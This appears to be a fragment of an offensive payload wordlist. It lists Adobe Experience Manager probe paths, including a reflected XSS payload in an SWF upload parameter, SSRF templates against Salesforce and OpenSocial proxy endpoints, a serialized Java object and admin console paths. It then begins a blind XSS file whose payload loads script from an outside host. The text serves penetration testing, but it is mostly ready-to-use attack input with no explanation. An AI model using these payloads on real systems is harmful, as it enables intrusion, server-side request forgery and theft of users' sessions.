/etc/mobile/useragent-test.html /tagging /etc/replication.html /etc/cloudservices.html /welcome /libs/dam/widgets/resources/swfupload/swfupload_f9.swf.res?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?swf?movieName=%22])%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/granite/security/currentuser ///libs///mcm///salesforce///customer{0}?checkType=authorize&authorization_url={{0}}&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer{0}?checkType=authorize&authorization_url={{0}}&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e ///libs///mcm///salesforce///customer{0}?customer_key=x&customer_secret=y&refresh_token=z&instance_url={{0}}%23 /libs/mcm/salesforce/customer{0}?customer_key=x&customer_secret=y&refresh_token=z&instance_url={{0}}%23 ///libs///opensocial///makeRequest{0}?url={{0}} /libs/opensocial/makeRequest{0}?url={{0}} ///libs///opensocial///proxy{0}?container=default&url={{0}} /libs/opensocial/proxy{0}?container=default&url={{0}} /?query_term=path%3a/&pre=<1337abcdef>&post=yyyy /rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////c= /.servlet/a.js /system/console/bundles /system/sling/loginstatus ================================================ FILE: BlindXSS-ZephrFish.txt ================================================ "> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://zero.xss.ht\';document.body.appendChild(a)') "> "> ">